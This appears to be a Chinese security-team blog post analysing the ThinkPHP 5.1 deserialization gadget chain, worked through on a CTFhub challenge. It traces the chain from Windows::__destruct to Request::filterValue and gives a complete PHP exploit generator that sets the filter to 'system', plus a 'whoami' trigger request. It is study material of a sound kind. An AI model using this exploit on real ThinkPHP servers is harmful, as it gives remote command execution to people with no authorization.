点击上方蓝字关注我们
0x00 前言
最近挖不出漏洞了,所以来学习一下反序列化。毕竟测试的系统连个页面也没有,只给了十几个接口。之前对反序列化只停留在基础的原理层面,所以这次着重一下分析思想和如何写poc上面。所以就拿最经典的分析。
0x01 复现环境
windows10
phpstudy(apache+mysql)
thinkphp5.1
php7.3.4
CTFhub thinkphp5.1反序列化题目
0x02 CTFhub thinkphp
答题
开启环境后
将代码下载到本地,利用phpstrom+phpstudy+xdebug搭建分析环境
查看一下writeup给的exp,放到本地环境生成序列化后的字符串。
看一下环境中给出的序列化参数是在index/controller/Index.php 中str
所以利用方式如下
获取flag
关于s=index/index/hello&a=whoami
为什么s是路由?
默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。application/index/controller/ 为默认控制器的根目录,当我们在路由中书写时,如果只使用默认控制器,只用写入 控制器文件名/方法。
'index/index/hello' //模块(index)/控制器(controller)/index.php/:function hello
为什么a是参数?
其实a,b,c等都可以,只要不与其他内定规则冲突
0x03 基础知识
魔术方法
PoP链的核心,就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种:
__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说,也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup: 类实例反序列化时触发。
__call: 当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic:当调用了类对象中不可访问的静态方法时触发。
__get: 当获取了类对象中不可访问的属性时触发。
__set: 当试图向类对象中不可访问的属性赋值时触发。
__invoke: 当对象调用为函数时触发
反序列化的常见起点
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this->$func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
0x04 分析
首先我们先看一下大佬画的攻击链
然后我们来思考一下为什么会找到以上函数当链条
__destruct
目标:通过__destruct想法设法调用output类中的__call来实现命令执行
全局搜索__destruct
Windows.php里的__destruct可以作为入口点
在 thinkprocesspipesWindows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。
public function __destruct()
{
$this->close();
$this->removeFiles();
}
//removeFiles
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
如果我们将一个类赋值给 $filename 变量,那么在 file_exists($filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。
function file_exists(string $filename): bool {}
/**
* Tells whether the filename is writable
* @link https://php.net/manual/en/function.is-writable.php
* @param string $filename
__toString
全局搜索__toString
$name 变量来自 $this->append ,是可以控制的。
public function __toString()
{
return $this->toJson();
}
//跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
//跟进toArray
public function toArray()
{
$item = [];
$hasVisible = false;
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) { //需要数组非空进入
foreach ($this->append as $key => $name) { //遍历数组,且数组要是键值对的形式
if (is_array($name)) { //name需要是数组
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
}
...
return $item;
通过查看getData函数我们可以知道$relation 变量来自 $this->data[$name] ,而这个变量是可以控制的。
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
//跟进getData
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
所以 $relation->visible($name) 就变成了:可控类->visible(可控变量) 。
代码执行点分析
__call方法
只要对象可控,且调用了不存在的方法,就会调用__call方法,因为visible不存在,所以会调用 $relation的__call方法
全局搜索__call方法
Request类中的 __call方法 存在call_user_func_array,并且 $this->hook 可控,所以我们可以使用$this->hook[$method]去调用我们想要调用的函数。但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。无法控制构造pyaload。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
input -filterValue
在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。
分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, thinkRequest 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func($filter,$data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
public function input($data = [], $name = '', $default = null, $filter = '')
{ // 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
}
//filterValue
//通过后面的分析我们知道param函数可以获得$_GET数组并赋值给$this->param。会发现filterValue.value的值为第一个通过GET请求的值,而filters.key为GET请求的键,并且filters.filters就等于input.filters的值。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
//
}
param
在找何处调用input时,发现了param()函数调用input,并且第一个参数的值$this->param可控
//param
public function param($name = '', $default = null, $filter = '')
{
return $this->input($this->param, $name, $default, $filter);
}
$this->param是由本来的$this->param,还有请求参数和URL地址中的参数合并。
但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
isAjax
何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()
//isAjax
public function isAjax($ajax = false)
{
$result = $this->param($this->config['var_ajax']) ? true : $result;
}
在isAjax函数中,我们可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。
$this->config['var_ajax']是配置文件中的值,只需要让他为空,那么他在调用$this->param时,默认的第一个参数$name就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断。也就进入了$this->filterValue($data, $name, $filter);
exp
关于payload解释一下为什么使用$this->files=[new Pivot()];
//model中含有conversion 我们就可以调用Conversion的__toString
namespace think;
abstract class Model implements JsonSerializable, ArrayAccess
{
use modelconcernAttribute;
use modelconcernRelationShip;
use modelconcernModelEvent;
use modelconcernTimeStamp;
use modelconcernConversion;
//Pivot继承model 在filename传入Pivot类对象 将Pivot类做字符串处理,从而调用Conversion的__toString
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
namespace think;
abstract class Model{
protected $append = []; //传入数组
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]]; //数组非空且为键值对 name需要是数组即["calc.exe","calc"]
$this->data = ["ethan"=>new Request()]; //Request()里没有visible函数,就会调用call函数
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]]; //hook调用filterValue的call_user_func
}
}
namespace thinkprocesspipes;
use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo urlencode(serialize(new Windows()));
?>
参考链接:
https://paper.seebug.org/1480/
https://xz.aliyun.com/t/6467
https://www.freebuf.com/articles/web/284091.html
https://blog.csdn.net/weixin_54902210/article/details/124874209
https://blog.csdn.net/qq_43380549/article/details/101265818
https://www.cnblogs.com/zpchcbd/p/12642225.html
灼剑(Tsojan)
安全团队
原文始发于微信公众号(灼剑安全团队):ThinkPHP 5.1反序列化分析和poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论